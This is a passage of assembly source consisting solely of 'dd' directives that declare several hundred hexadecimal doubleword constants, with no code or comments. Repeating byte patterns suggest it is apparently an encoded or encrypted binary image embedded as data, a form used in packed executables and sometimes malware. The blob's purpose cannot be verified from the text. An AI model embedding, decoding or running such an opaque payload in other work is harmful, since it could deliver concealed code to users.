dd 0EAB13246h, 885EAF15h, 2E23609Fh, 28FBAB71h, 1A2CB487h
dd 47583256h, 0D5B13256h, 0D9530145h, 776C443Eh, 0BA395D0Fh
dd 0BA0EAC3Ch, 0DDBE5256h, 0AEB13250h, 57B1BA59h, 11D73256h
dd 0D5D0291Dh, 0EAB1CA56h, 75B9BA59h, 30BE3256h, 5DB13254h
dd 15D15336h, 21091C4Eh, 0ABB1BE59h, 0D5D03256h, 0E558CE56h
dd 6AB13256h, 28A863B6h, 84BFB67Fh, 0F834F1A2h, 57B12692h
dd 5C305436h, 0B5D0E604h, 0EA393D36h, 13B13256h, 0A364D1D7h
dd 3CDB8437h, 21BE3256h, 57B1325Ah, 0ABB7B259h, 51BE3256h
dd 0EAB13256h, 0FABE3256h, 0BAB1324Dh, 1D57B236h, 0AEB122BEh
dd 8E8CD256h, 0C297AD6Fh, 0B0CDB31Eh, 42D9ACEBh, 75D06DEBh
dd 0B3313D56h, 3DB13256h, 7F548930h, 36BBFBD6h, 28BE3256h
dd 0D5B13257h, 0EAA1DBAEh, 0CE143256h, 9E2A577h, 0EFB0FA26h
dd 0A74F6122h, 57B1E1FDh, 0ABB0BF59h, 0D5443256h, 61D1C756h
dd 773F3DA7h, 0DAB13256h, 5DB15337h, 1E77B936h, 57B15388h
dd 0ABB120BFh, 8151CE56h, 0D580688Ch, 0BEB43313h, 0C7DC71CDh
dd 5D5F266Bh, 0AEB1CE56h, 57B137BFh, 0B1C7DD56h, 0D5B177D8h
dd 0EAB123BFh, 7DAE2056h, 949D719Ah, 110CECAh, 94564B20h
dd 57B18E7Fh, 0ABB9B959h, 57BE3256h, 0EAB13254h, 75B15336h
dd 42B132AEh, 4C583256h, 0F7B13256h, 0D717B48Eh, 0E40AE9ADh
dd 0DACD911Fh, 6F2480BEh, 75483256h, 34BE5256h, 5DB13256h
dd 0CF8DF1D6h, 45583256h, 0FBB13256h, 23908A50h, 4762E06Ch
dd 0A447E430h, 9FF419D7h, 0B4B13215h, 0AEB1325Ah, 8E70A5B9h
dd 0F436A5E3h, 8EAEE999h, 440B336h, 0FE8B7C48h, 0BAB153AFh
dd 0A8B132AEh, 24D13256h, 51363DB7h, 0A4B13256h, 0D5B132DDh
dd 0EAB15356h, 75A2DA36h, 3AD83256h, 0F3759232h, 76D8A44Dh
dd 31471760h, 440413FFh, 8DD05273h, 0E8348B36h, 14D07C54h
dd 0B5583256h, 6FB13256h, 0DBA4AF17h, 0D6E6AC44h, 922F2E27h
dd 0D5485AB0h, 0E5D1CE56h, 75B124D2h, 0BAA1DA56h, 0FA163256h
dd 0C5737E75h, 2DF0EBA3h, 8502630Ch, 0B3EFE68Fh, 0EAD0ECDDh
dd 623C3D56h, 53B13256h, 5DB13244h, 0A0D7E7ECh, 0B1FDD5BDh
dd 0E0C59853h, 0C690EDEDh, 0EAB17CAAh, 75B135BFh, 0D12CD556h
dd 6D383128h, 0CEB132AFh, 0BF62B930h, 0ABB13245h, 1BA49E09h
dd 2FCEAF0h, 93BE6856h, 64AE0A40h, 55F3FA7h, 0A1B13237h
dd 57B13AD1h, 0A9333D56h, 0B5B13256h, 3B13237h, 75B1325Ah
dd 8EFBE10h, 20F54D2Dh, 1A394C98h, 0DDBE3256h, 0ABB13257h
dd 29B132AFh, 6BD13256h, 0F5AAB18Ch, 6B3A5462h, 3DB13237h
dd 2E00E9D6h, 57D0AFB8h, 6C305256h, 0D19878B7h, 8AB13237h
dd 0F5D1C8DDh, 5BEBB8Dh, 5DD05394h, 0AEB1CB56h, 57B13EBFh
dd 429B4356h, 810D40A0h, 0BF7B090h, 15B132B9h, 0C57B330h
dd 505864C4h, 5B13256h, 0ED3D50A6h, 0FE806208h, 0A33B994Ch
dd 0EAB15308h, 75A7BC59h, 0AB583256h, 0C9B13256h, 0E7201BCFh
dd 0D926845Bh, 3C38C2AEh, 0AB324CBDh, 0EAB138BFh, 461E5056h
dd 0B1C60F88h, 5D4BAB21h, 0AEB1CE56h, 57A2DB36h, 0FE733256h
dd 0B612E47Bh, 0DBE5DF97h, 6DD70547h, 7719AA15h, 3C7BB9BFh
dd 0A9583256h, 0A6B13256h, 84B5C04Fh, 0D5B18C22h, 0EAB0B659h
dd 9C443256h, 0BAB1325Bh, 4F815CE6h, 10C4DB1Dh, 3389370Ah
dd 0CBB1328Eh, 0D5B13EBEh, 830EB556h, 0D6A037F1h, 716E312h
dd 5DB8DB8Eh, 9AC93256h, 0FDF210B8h, 0F4459574h, 0F573B205h
dd 0EAB1530Dh, 7AEE6436h, 0BAB134D7h, 5D3A3D56h, 0CFB13256h
dd 0CE52B336h, 0CD987D9Fh, 0B442D7EDh, 0E5443256h, 75B133D9h
dd 0BAB1C756h, 953A5436h, 0EFC8B30h, 58B13237h, 0ABB133DBh
dd 0D5B1CB56h, 0E5B132AFh, 75B122D5h, 0B03E3D56h, 0B4B13256h
dd 0AEB13253h, 0A39F26ABh, 42B132A8h, 0D5B1325Ah, 0B32948D9h
dd 8968A8Ah, 288AFDE9h, 0EBD13256h, 7F30546Bh, 57D08798h
dd 0ABBCDB56h, 0E3913256h, 82B64A2Bh, 57A7B2FDh, 0BAC86ACDh
dd 5DB1CB56h, 16D752A3h, 0DCD7F34Eh, 0ABB153A6h, 0DAB132AEh
dd 0EAB124D8h, 7C595256h, 5DB13256h, 60762439h, 0E40166B0h
dd 9630540Dh, 0ABD00AFCh, 0D5B1CB56h, 0EB313D36h, 89B13256h
dd 0DB4AB930h, 5DA6B959h, 0BC583256h, 90B13256h, 0F6A7374Ch
dd 465EA1FAh, 725C2FF6h, 98BD4F74h, 42B132E7h, 0DEBE3256h
dd 0AEB13257h, 57B1CEAEh, 7C315236h, 0B4EB6203h, 0EAB135BFh
dd 82F35C56h, 42B6BA41h, 52B13237h, 0AEB133DFh, 57B1CE56h
dd 0CBB132AFh, 0B448FADDh, 0E5D13256h, 75B12BDDh, 0BAA2DA56h
dd 84473256h, 362C709Ah, 0F793BFA4h, 422DA384h, 0CBECDA36h
dd 55BE69ACh, 75B153A0h, 0BAB0B859h, 5D443256h, 0AEB1CB56h
dd 58B132A3h, 0ABB122DEh, 0DF393D56h, 3B13256h, 75B13253h
dd 98DC7490h, 3DB13216h, 0DE85D9D7h, 0DEBE353Bh, 0ABB13254h
dd 3CD06D06h, 0EAB1325Fh, 5261A90Ch, 0D7E54B13h, 52B1322Eh
dd 0AEB124DAh, 57A0DB56h, 0BEFD3256h, 44883138h, 0AD7362EFh
dd 6D0492ADh, 0BA8A603Eh, 0DCD75256h, 2FFB7AB7h, 79988D80h
dd 0ABB1534Dh, 2B3A5436h, 0E5B13237h, 75B133DCh, 0BAB1CA56h
dd 5DA7BB59h, 0BF583256h, 7FB13256h, 0BD8BC069h, 51AEAB2h
dd 0ED02CAC1h, 92C2ED2Bh, 0B5D13256h, 5DB131DCh, 5D3A5456h
dd 4E6FB330h, 21BE5340h, 0D5B13253h, 3D0E3D36h, 15B13237h
dd 0DBE6A06h, 5DB15394h, 0CEB132AAh, 57B123BFh, 7F6FCA56h
dd 6562A6Ch, 0E61E4746h, 0C47808D1h, 2D7C0EBh, 5DD0AD6Ah
dd 0AEBDDB56h, 37603256h, 51D59056h, 0BD672208h, 0EAB191C6h
dd 0CC1A8836h, 0D6044D1Fh, 0A4B13237h, 2FD13256h, 0ADB99C98h
dd 0CA11863Dh, 6CD13256h, 0F8FAF17Ah, 7AB13237h, 0BAB122DDh
dd 57363D56h, 47B13256h, 57B13253h, 0B67C269Ch, 29B132EEh
dd 8CD13256h, 0DF95FBD7h, 0DB7BB930h, 5DA4BA59h, 0BE583256h
dd 7FB13256h, 0B759DBE2h, 0F8388431h, 2203BF54h, 75037EA5h
dd 0BF353D56h, 3DB13256h, 0CF79B930h, 45583256h, 8B13256h
dd 0D6E987B6h, 0C6CFB895h, 4FB6E88Dh, 546AD21Fh, 3DB13289h
dd 543A52AAh, 0DF6EB330h, 0ABD05341h, 0D5BCDB56h, 5B893256h
dd 73BEDA8h, 28030DBEh
dd 5DD96A62h, 0B6353D56h, 37B13256h, 0ABB123BFh, 31D4FF56h
dd 2C152FB7h, 0A87A7584h, 7B484B56h, 5DD0377Dh, 0AE49C756h
dd 57B1CA56h, 0ABBBB959h, 5FD13256h, 0EA353D9Eh, 14B13256h
dd 0BD583256h, 96B13256h, 65443F18h, 57B177FDh, 0ABB0BC59h
dd 0D5493256h, 0EAB1CB56h, 75BCB859h, 0B2583256h, 42B13256h
dd 6B3ECA55h, 0BE312C55h, 0ABB13247h, 0E79B12FAh, 0D1208F7h
dd 73636D62h, 59B20A7Ch, 3DB132C1h, 104E8D59h, 4856DD14h
dd 5EB13237h, 2D483256h, 0E5D13256h, 75B130D2h, 31EE6556h
dd 0DDD15391h, 0AED010BFh, 563D3D56h, 5EB13256h, 0B5B132AFh
dd 0EAB7B759h, 96303256h, 0A08984F7h, 3DB13237h, 473194E4h
dd 57B1534Bh, 0ABB139BFh, 0A2856D56h, 0AFAAA1AEh, 87656403h
dd 0B1583256h, 0BDB13256h, 54DDB548h, 3EAFD8C0h, 0ABB148C6h
dd 0B5B132A3h, 0EAD090E4h, 75B8DB56h, 0FBC73256h, 9198BAFh
dd 0AE1C6714h, 57BDDB56h, 3F693256h, 0CC8DD443h, 5CFFE001h
dd 75B1E584h, 0BAA3B959h, 0B4D13256h, 0AEB1325Fh, 68991E73h
dd 4FA708A4h, 0B4D0528Eh, 0E5D13256h, 75B124DDh, 0BAA0DB56h
dd 45063256h, 0B84298ACh, 0DEAFB835h, 6FDBEF93h, 54C3557Eh
dd 5D40CABEh, 75B15372h, 0B5B132AEh, 5DB136D3h, 0F4005256h
dd 0AEB13237h, 23BE3256h, 0D5B1325Ah, 0EAB7BA59h, 0FABE3256h
dd 0BAB13256h, 5B583256h, 88B13256h, 9E3C712Dh, 0CBB13294h
dd 2F3A5436h, 0EAB1B859h, 9CD03256h, 0BAB13246h, 5D2BC9C7h
dd 51232D4Ah, 4B8BD2B4h, 0BDF6454Fh, 0B5B13237h, 86D8830h
dd 15B13237h, 0BAB153A3h, 5DB121BFh, 53BF9256h, 0C79A6444h
dd 0E361845Ah, 5D9F9278h, 1ED1612h, 754D3256h, 0A3373D56h
dd 0B4B13256h, 0AEB13242h, 9E0DAFA8h, 8F824F05h, 0C6CC418Bh
dd 0BCDCC06Eh, 76FEA74Ah, 3CBE3256h, 5DB1325Ah, 0AEB7B559h
dd 0D3BE3256h, 0ABB13256h, 59BE3256h, 0EAB1325Eh, 0AC305436h
dd 0DB482EAFh, 5A583256h, 0E9B13256h, 4F0492ADh, 0BB58603Eh
dd 4CB13256h, 1455AE20h, 0AB2891C2h, 0D8909E5Dh, 5D189E05h
dd 0AEBBDB56h, 79993256h, 46992896h, 0B2D671E3h, 0EAB123BFh
dd 10BB8356h, 0F4686A2Dh, 94AC1625h, 0B5BCFEE4h, 57B1A359h
dd 0ABB137BFh, 0F81D8556h, 0EA493551h, 723C3D56h, 0DAB13256h
dd 3D76B930h, 0AEB15337h, 57B9B159h, 2ABE3256h, 0D5B13254h
dd 0EAB15336h, 653E3D36h, 52B13256h, 5DB1325Ch, 46E18D2Eh
dd 7A26997Bh, 0CDEB0CC6h, 0D5D0F8DDh, 0EB3C3D56h, 89B13256h
dd 464D3256h, 5DA1DB36h, 30803256h, 0C98E9662h, 9D2AC2ACh
dd 0CA82ACC0h, 0EA59EF35h, 2FB13256h, 13F1D8D7h, 4D583440h
dd 0A3B13256h, 0D5CEFB56h, 18F80DD3h, 6F1CADD0h, 8A644FC3h
dd 75B137BEh, 0F5B09D56h, 0E3D76169h, 15EA8ED3h, 6170AB75h
dd 9A34BF37h, 2DB727CCh, 0EAA1BB59h, 7E583256h, 10B13256h
dd 0BEDD2C21h, 66A92718h, 0D538EA6Fh, 0ADA7A0BFh, 32305436h
dd 68BEC166h, 75B13254h, 37D05336h, 4AC91DD4h, 2C38C750h
dd 51A7A15Ch, 9C5ADAAAh, 0DAD13256h, 0EAB136DAh, 4A0E5456h
dd 0BB3A3D1Bh, 0A4B13256h, 0AC62DA37h, 5E583256h, 13B13256h
dd 68C5B689h, 0E3D76401h, 75ADBB59h, 4D13256h, 5EC58EF9h
dd 0AEB13DBEh, 0E28F5F56h, 87264600h, 0C6420F14h, 77991800h
dd 0F776530Eh, 0BCA7A3A8h, 5DB13256h, 0AEB0B659h, 5493256h
dd 4E34F4A3h, 83B72275h, 0E30F5436h, 5159B22Ah, 2E35A37h
dd 0A24DAEFEh, 0BEAC77E3h, 5D363D50h, 0CBB13256h, 6E99F5D6h
dd 0DAE9B05Ah, 0FF34BF37h, 4FB721D3h, 5261CDAAh, 0AEB13ED8h
dd 513F3D56h, 0A4B13256h, 0D5B132D3h, 0EB34BB56h, 15B72249h
dd 53AADAD6h, 5DB1325Bh, 0A26F92A8h, 2AEFA352h, 1B21CD46h
dd 0D1DB5360h, 0EAB120BFh, 739E1456h, 0D647C9FBh, 2F09532Dh
dd 2B7CDE68h, 3FBCB826h, 0ABB12256h, 5ED76136h, 5EE06AA4h
dd 1DD06A9Eh, 0BAB23F16h, 6D47B336h, 0C8C7C069h, 36BB2FE8h
dd 0CBD1323Ch, 0D5B122BFh, 0C9A97456h, 0AD21319h, 0CEA6E1EAh
dd 0DDD664F0h, 0CFB782A4h, 57B139BFh, 0D7B18856h, 0D33334ACh
dd 0EB2CA70Ch, 1561CD37h, 0BAB13DBFh, 0AECCA156h, 4BD12E85h
dd 8B29B59Ch, 0D91A501Fh, 1E0E3D01h, 0E5EB530Ch, 75B135DFh
dd 0BB3B3D56h, 0A4B13256h, 2ABEF25Dh, 57B13325h, 7D305436h
dd 5CD0D114h, 0FC20CCD4h, 0F738CE50h, 0BCA7A072h, 5DB126BFh
dd 0F2B456h, 94C2C94Eh, 0BB3E2F6Ch, 249ACF27h, 11E63AA6h
dd 72585246h, 0F2B13256h, 7830F1C6h, 25D77D51h, 170853AFh
dd 0A4B1315Bh, 0D5B133D9h, 123ACA56h, 0FD5BB336h, 5385F4E5h
dd 5DB1325Ah, 2765F163h, 2AA4E7B5h, 0A7744C03h, 0D5A5DB37h
dd 32473256h, 94AEB36Bh, 247CD50h, 5F1F3F67h, 0CB5E4706h
dd 9782C498h, 0ABBBB359h, 5FD13256h, 0EA343DAFh, 14B13256h
dd 3ABE98A5h, 5DB13257h, 0A20052AFh, 0D9BE6037h, 0ABB1324Bh
dd 0D5A6B359h, 0F8583256h, 91B13256h, 0CE75047Fh, 47F40C2Bh
dd 0E158C7ADh, 0B582241h, 57B558E8h, 0D5A1323Eh, 0FF3B3D56h
dd 15B13256h, 0BAB13EBFh, 376D1156h, 2729B8DBh, 0C7E9FED9h
dd 0CAD052A5h, 0D5B5323Eh, 0ED323D56h, 15B13256h, 0DBE6B06h
dd 4D5853A6h, 9AB13256h, 79A97975h, 8EA09DA6h, 8AF69441h
dd 803F70D9h, 893B5256h, 0BAB7B359h, 0D6BE3256h, 0AEB13256h
dd 5623CD37h, 57B72249h, 0D5B0B559h, 0B0493256h, 75BDB859h
dd 31BE3256h, 5DB13250h, 0AEB1B959h, 0DE483256h, 0BD246AD4h
dd 0C03D3D50h, 0E5B13256h, 75B13DD4h, 0BABBDB56h, 700B3256h
dd 5FFA2823h, 0FD6D5146h, 0ABB13CBFh, 0EE81FF56h, 0BCEC828Bh
dd 0BB4EFCDAh, 0DB928A3Eh, 5DB134BFh, 737BC956h, 0DC0628DFh
dd 0BD20CCD3h, 62BE5250h, 0D54A8889h, 0B6D0253Eh, 7D4452AEh
dd 4DBAA7D4h, 0EEB13250h, 503B3D56h, 0A4B13256h, 0D5B133DAh
dd 6876CA56h, 73A11BA7h, 0BAB12256h, 5DB13EBFh, 25609256h
dd 0CEDA4458h, 6D779200h, 5EBE534Ah, 0EAB1325Eh, 75B3B759h
dd 0DBD13256h, 45383D95h, 0A1B13256h, 57B120D5h, 0ABBCDB56h
dd 47233256h, 3D50AC82h, 9642AEEh, 0DA7B8F2Fh, 5DBEB459h
dd 0A4583256h, 6DB13256h, 2F6AF459h, 8BDA8F36h, 140BB901h
dd 8CB724C7h, 0B5B10DD5h, 5DB197D2h, 0AEBBDB56h, 2AEE3256h
dd 6FC06BF1h, 0E05BD5FFh, 0E8A14DD5h, 758AB659h, 32BE3256h
dd 5DB13257h, 0BECEB1A3h, 5353D52h, 0A4B13256h, 0D5B133DFh
dd 2D32CA56h, 75B8DB42h, 7A063256h, 19064ADBh, 47CE9923h
dd 0A84ECDE6h, 0ABB6BD59h, 50BE3256h, 0EAB13257h, 65F6F5AFh
dd 0BAB13257h, 520B5436h, 0AD313D77h, 31B13256h, 42D0F9DDh
dd 2A4ECD94h, 0EAB13ABFh, 16565A56h, 1975F1F3h, 4DF6F55Fh
dd 0AEB13255h, 8E063D36h, 2E43B330h, 4A585350h, 8A4ECDA9h
dd 0CB13DEEh, 0BAB6DB1Fh, 0D9983256h, 6D45EB58h, 37D053D3h
dd 0CA4DC3DDh, 6ED75295h, 55BE4B1Dh, 655853AFh, 0D1B13256h
dd 0ECEAAA4Ah, 0B3D321E9h, 29AF8BF1h, 0FEFB300Eh, 0D5B13ABFh
dd 0A4B34656h, 613A15B0h, 425DB9FAh, 4B353D36h, 0A1B13256h
dd 57B122DCh, 0ABBADB56h, 94473256h, 5898BA2Fh, 57A673BAh
dd 0BAB1DAC4h, 0DCEB3256h, 0B81F15BCh, 57BFDB50h, 0BD733256h
dd 0F761022Ah, 0F87B9C53h, 45BD981Bh, 0BAA5DB36h, 0FFA93256h
dd 7F7648DAh, 0AF539596h, 2892DE82h, 1DDBBBDBh, 61D09CCDh
dd 632456E4h, 0B6303D50h
dd 52B13256h, 0AEB134DAh, 57303D56h, 20B13256h, 5EBE3A13h
dd 0EAB13257h, 89B7BBAEh, 38325336h, 5BA7A732h, 0CED0CE52h
dd 57B138BFh, 213F2B56h, 6442A90Dh, 0E5026FF1h, 75B131D5h
dd 8877B256h, 0D6BEFB37h, 0AEB13257h, 57B5F0A3h, 0ABA5DB36h
dd 0EF313256h, 910DF6Ah, 8673B67Bh, 0FA965718h, 0CCDD269Dh
dd 0CF443340h, 5759CB36h, 0F1B13256h, 7B65D8D7h, 2D13440h
dd 75B1325Bh, 7441B564h, 64A23E8Dh, 9031F1D7h, 0A8063D04h
dd 75063D09h, 0B3D1CB37h, 5FD9D5D7h, 75B4BF59h, 7C093256h
dd 3C89C82Dh, 3BE980DDh, 0DCBE3440h, 0ABB1325Eh, 0D5393D36h
dd 8BB13256h, 0E0D5806Dh, 3EBE3440h, 5DB13057h, 0AEB13FBFh
dd 5E95C56h, 0D5ED9B1Dh, 4E0BC158h, 2D1F226h, 75B13244h
dd 0A9D14891h, 0C971DA5Bh, 9B47200Bh, 8F647E1Ah, 16018B84h
dd 0B462B909h, 61440CDDh, 0C3BECA89h, 0ED13319h, 3C46B94Dh
dd 0AFF6C4AAh, 13343DD6h, 52B13256h, 0D5B0BE59h, 0E9493256h
dd 75B9DB8Fh, 24313256h, 0ACE1ACA3h, 0E45893B9h, 0BEB13256h
dd 0ABB13242h, 0D02A0759h, 0F001369Bh, 96D1D82Eh, 60847F4h
dd 0DE8CA093h, 0AEB138BFh, 0A2267156h, 3FFA7D3Bh, 0FEBB5FE8h
dd 0F03C3D8Fh, 7AB13256h, 0BAB126D0h, 5DBEDB56h, 0C1463256h
dd 0DB2F0B70h, 0A2E66440h, 3334A1F4h, 0E5D171BAh, 75B131DFh
dd 633A5456h, 5DB126BFh, 24489256h, 0B71F891Ah, 0AE874A80h
dd 18AF142Ch, 0F4032159h, 0F8BE5377h, 0BAB13249h, 5DA8BC59h
dd 0BA583256h, 23B13256h, 13702678h, 701AD904h, 0F40B7E0Dh
dd 247B25EFh, 0F9EEE295h, 0DCEA6536h, 126999Fh, 0D23A530Eh
dd 0ADA11FB3h, 0D5B138BFh, 0D91FFE56h, 0EC005F79h, 31F844BAh
dd 4D996FDBh, 68315250h, 0E8BE6124h, 90D06880h, 0AE333D8Eh
dd 0E5B13256h, 75B125DFh, 0B0595256h, 6FB13256h, 1AA62114h
dd 895F4A88h, 2AD76DA4h, 0B444159Eh, 6DBEEB6Dh, 75B13200h
dd 0BA333D36h, 0A5B13256h, 0AA77B137h, 5840B836h, 0ABB134D2h
dd 0B751B356h, 8BDB9C19h, 8A4F49BFh, 3BD752A9h, 0E28AF784h
dd 0A95A3074h, 0D6075237h, 0ABB138BEh, 0B5237456h, 6985C9ADh
dd 9C0D92BAh, 0BAB13246h, 0F4A35C74h, 566BF003h, 57CE654Ah
dd 1AB4351Dh, 1A8A530Fh, 0EAFAB659h, 61583256h, 0EB13256h
dd 7B994FB0h, 0D412AD8Ah, 69D62602h, 482A19D9h, 5C6A4039h
dd 0FA996FEBh, 75B9DB50h, 0B5BB3256h, 47599540h, 5758B616h
dd 0BE4ECDABh, 0ABB13242h, 188AF2C3h, 359C263Ch, 300E61B5h
dd 91BB65D7h, 0E84F5502h, 0AB5853AFh, 0BFB13256h, 0DB4B2C0Bh
dd 0D4393D95h, 1FB13256h, 75A1DB36h, 0B18F3256h, 0B149F81Ah
dd 209D1191h, 33E75791h, 0AB59F678h, 8FB13256h, 5BE9D8D7h
dd 9DD13440h, 0BAB13253h, 59487086h, 0AEB7DA7Ah, 40063256h
dd 0EA705D1Eh, 5ED76A0Fh, 0FA5853ADh, 0B4B13256h, 0B7761423h
dd 292E25A2h, 2BF479F8h, 0DC31E4EEh, 0BD246AECh, 0DE323D50h
dd 8AB13256h, 0F4778559h, 0BA5CCB8Ch, 0DDD1530Ah, 23BEC198h
dd 57B13253h, 0C9498FE8h, 0D5085338h, 3B13257h, 75B1325Eh
dd 5A6F1E85h, 0BE39D130h, 0CED1F265h, 0E7C68A30h, 0ABB13DBEh
dd 75D60456h, 60DDC537h, 56CFB9B7h, 30BA9EC3h, 3C485308h
dd 0A1D199A5h, 57B122DAh, 0ABBADB56h, 5F6F3256h, 0CC91AA5Dh
dd 587F1812h, 4D3A5457h, 0D6D75237h, 5F3A5489h, 0F33B937h
dd 0A4B724C3h, 0D5B135DBh, 0EB3A3D56h, 8CB13256h, 0BAB0BA59h
dd 0D44D3256h, 0B82456D4h, 57A1DB50h, 7B403256h, 2C23FB6Bh
dd 71F44B62h, 778AED63h, 43D0384Dh, 463A3D95h, 0CEB13256h
dd 57B13CBFh, 1824CA56h, 0FFEECE44h, 0A82BDF01h, 7AB9473Dh
dd 0BAB132DEh, 3DD15356h, 0CF768559h, 57B132BEh, 41306856h
dd 0D3A78024h, 0EABBDB36h, 0D6813256h, 2C493603h, 30AEEF8Eh
dd 0CFEADCD6h, 57B7DB36h, 133256h, 864A0A64h, 0EAB120BEh
dd 0CB505556h, 9B244446h, 0A44133Fh, 0C326D908h, 0D641E5BFh
dd 0E0FBA78Eh, 2DD06C2Eh, 0C954B790h, 8CE73446h, 0A5DC0B3Eh
dd 533C3D82h, 47B13256h, 57B1325Fh, 32D209F8h, 385D6C48h
dd 0E75852C7h, 0E6B13256h, 513B8C2Dh, 36ED9655h, 9483DFE9h
dd 0A8D0CADDh, 0BBAC77E3h, 163A5250h, 0EAB13EBEh, 1F204A56h
dd 0CDD5136h, 0FAD5E726h, 6740B340h, 0CB8AFB0h, 2134BF37h
dd 0DAB721D3h, 0EAB134DEh, 7A4D5256h, 45D0C2E1h, 0B4E3CE86h
dd 0AEB1325Ch, 9419ECF2h, 2E5B258Fh, 0B5E165C1h, 8CEBCA06h
dd 14DBA5EEh, 0BA31323Eh, 49585256h, 0B1B13256h, 0FE1BA9h
dd 0FAA3946Eh, 85423E6Dh, 3BD080EAh, 9C53340Ch, 0BAB1325Fh
dd 0E4E394AEh, 0AEEC5085h, 57DB53AFh, 0ABB13BBFh, 0C97F1956h
dd 0EE8E23Bh, 0C74ECCF3h, 0BCA7A3A8h, 5DB121BFh, 0F1F95556h
dd 0EEB7B1D0h, 0C9186BB9h, 49C7AB1Dh, 4925CCB2h, 0FABEE2A9h
dd 0BAB1325Dh, 0CF51B236h, 0AEB1BA59h, 0FD03256h, 0ABBFB659h
dd 0DC583256h, 0FAB13256h, 7438C0EAh, 83CE3437h, 3B495236h
dd 0CF5481ECh, 57B122BFh, 5DEC2256h, 0F0606018h, 9AC6AE81h
dd 8BE1777Ah, 0DAEB533Eh, 3B12EDD7h, 0C6D055BFh, 57B1B256h
dd 52063D36h, 0DB5853AAh, 3B13256h, 4404994Dh, 6B966ED6h
dd 878999F6h, 0A1B15810h, 57B13EDFh, 0AD373D56h, 0DAB13256h
dd 0EAB132D4h, 2D03CD56h, 0DAB724C3h, 5DB123BFh, 0F15B8356h
dd 5469BE5Eh, 0E4956715h, 0CF2A26CEh, 15D003A7h, 13495286h
dd 0DBD909EFh, 136AB236h, 0AEB138BFh, 1267C56h, 907F22F0h
dd 0B4E23095h, 1372C737h, 993ACB03h, 5BEC736h, 0A4D153AFh
dd 0AEB132BEh, 0BD306856h, 0ADA78638h, 0D5B13ABFh, 7FD1DE56h
dd 0C4843Dh, 0BABCDB24h, 59DC3256h, 9CE86486h, 0F5BFCD58h
dd 20C44DA4h, 59BE3A23h, 0EAB1325Eh, 75B3B059h, 0DBD13256h
dd 5DBE34BEh, 47E4C756h, 57B1325Ch, 3DCE0F40h, 24580D33h
dd 784E7BF0h, 73A7A0BFh, 3CBE6FAEh, 5DB13257h, 0A2C409AFh
dd 0A863B759h, 5E48CDA9h, 0D5BFE4BEh, 20305256h, 1297AEC3h
dd 0B5D15337h, 5DB134DAh, 0AE353D56h, 31B13256h, 62D0C9DDh
dd 0E870B336h, 60807D79h, 0B74853B3h, 0AA58325Eh, 0B7B13256h
dd 86F32B37h, 5C956333h, 9FFBCC74h, 80D9D8E6h, 0EAB123BFh
dd 25681056h, 0A9AD66F4h, 9C21645Fh, 16B03C4Ah, 5E583144h
dd 8AB13256h, 0C700B6DCh, 0ECCCFE54h, 7AD1DEDDh, 0BAB132DCh
dd 9E063D56h, 5275B137h, 57A0B159h, 42D13256h, 0D5B1325Eh
dd 0D3CD279Ch, 2CAB4172h, 0ECD0F3DDh, 8E305436h, 663AA499h
dd 58D16537h, 0ABB132DFh, 0D6353D56h, 0E5B13256h, 26D0FBE9h
dd 0BAB1DAAFh, 0DCEB3256h, 0B804B5BCh, 56343D50h, 5EB13256h
dd 0D5A2BB59h, 0E4583256h, 5BB13256h, 0FD1B04C1h, 0ACE91105h
dd 400CC731h, 5FC4B99Fh, 0BBCCB9AEh, 0D5B138BFh, 0B15D7E56h
dd 828BEF83h, 0ED40D229h, 5DB121BFh, 0DFD60F56h, 21E3175Ch
dd 2C86BAF1h, 0D0165BE9h, 3BF59147h, 75A3DB00h, 522F3256h
dd 24CCF2Dh, 0C16FA773h, 1766CB51h, 0A5F294CDh, 0D5B04BBEh
dd 2ABACB56h, 7575B659h, 31483256h, 0B4E4CBAEh, 0AEB1325Ch
dd 0A85E1D13h, 0F47CDC2Fh, 474EE623h, 0ECA7A0BFh, 0F1BE6136h
dd 0BAB13256h, 2E52B20Ch, 0A1D16F37h, 57B13FDBh, 0ABB6DA56h
dd 0F46C3256h, 54F63DF7h, 0F4D76A68h, 0DB5285B9h, 52BD476Dh
dd 0AEB14BD2h, 0DCD7C756h, 0AA3C3D48h, 29B13256h, 1341D5D6h
dd 75B121BFh, 2EC96656h
dd 0FF794923h, 0A802FB0Ah, 7E7C5A3Fh, 9F6AA45Bh, 0DF582CDCh
dd 32B13256h, 444FF904h, 19573CDh, 0AD52B250h, 0AEB122BFh
dd 7F6D9B56h, 0B2023899h, 67D4A8Ah, 3C1E6DF1h, 5230DAEBh
dd 0D13256h, 8F595C3h, 2774F8D7h, 0BED0757Ah, 544ECD59h
dd 0D5B13FBFh, 4A8C0356h, 49B14831h, 51AA1B45h, 2038FE04h
dd 0AEBEDBAAh, 59F43256h, 0F6B76D9Eh, 41A4E00Ah, 72E87E46h
dd 8390DAB8h, 0B458CDA9h, 30B13256h, 3F43860Dh, 50074FEAh
dd 0FF0EEE10h, 61D1698Dh, 193A5477h, 75B4DB37h, 2C013256h
dd 276AD36h, 0AEA1BE59h, 0D8BE3256h, 0ABB1325Ch, 0D5B137BFh
dd 56524856h, 8CEF1F81h, 0BAA7B959h, 0B5D13256h, 0AEB1325Fh
dd 0DAB73D2Ch, 0F836D938h, 54D76A35h, 8B5C9FB9h, 7A4D77DDh
dd 0BAB135D3h, 5C333D56h, 56B13256h, 0D6BE529Fh, 0ABB13254h
dd 54BEEADDh, 0EAB13254h, 7AD0FDDDh, 0BAB133D9h, 5173CA56h
dd 60305256h, 77E83279h, 0CBE453AFh, 0C75A8BAEh, 8AD0357Dh
dd 75B4BE59h, 3BD73256h, 3BEC26A0h, 0E85DC3D7h, 0A25DB937h
dd 5249F6D5h, 0D5B9DB01h, 574E3256h, 0CE5E776h, 0A958FD73h
dd 2BB13256h, 3CCF2AEDh, 2A32E19Eh, 902DC935h, 15655EFFh
dd 3E7CE96h, 75B1325Dh, 0E0D96269h, 8FECE631h, 0FFB0B8DAh
dd 57B0BD59h, 0CB443256h, 657BB930h, 12E2530Bh, 75497791h
dd 43B13256h, 0C961B091h, 0AEB03440h, 0DEBE3256h, 0ABB13259h
dd 0D5B138BFh, 33955D56h, 0B49CBC64h, 31109041h, 3BD13A23h
dd 3A50C4D7h, 9C3A5436h, 0CAD05336h, 0DAAFB930h, 0EAB133DDh
dd 0CF3ACE56h, 0BCA7A3A8h, 5DA4BE59h, 47D13256h, 57B1325Ah
dd 78385691h, 97DC54A4h, 752BBA62h, 8DD0EDDDh, 0DAB96DDDh
dd 3C7787A3h, 2ABEE95Dh, 57B132D5h, 0AD313D36h, 54B13256h
dd 0BFD8A180h, 73333D24h, 3BB13256h, 0E4F95580h, 708A534Ch
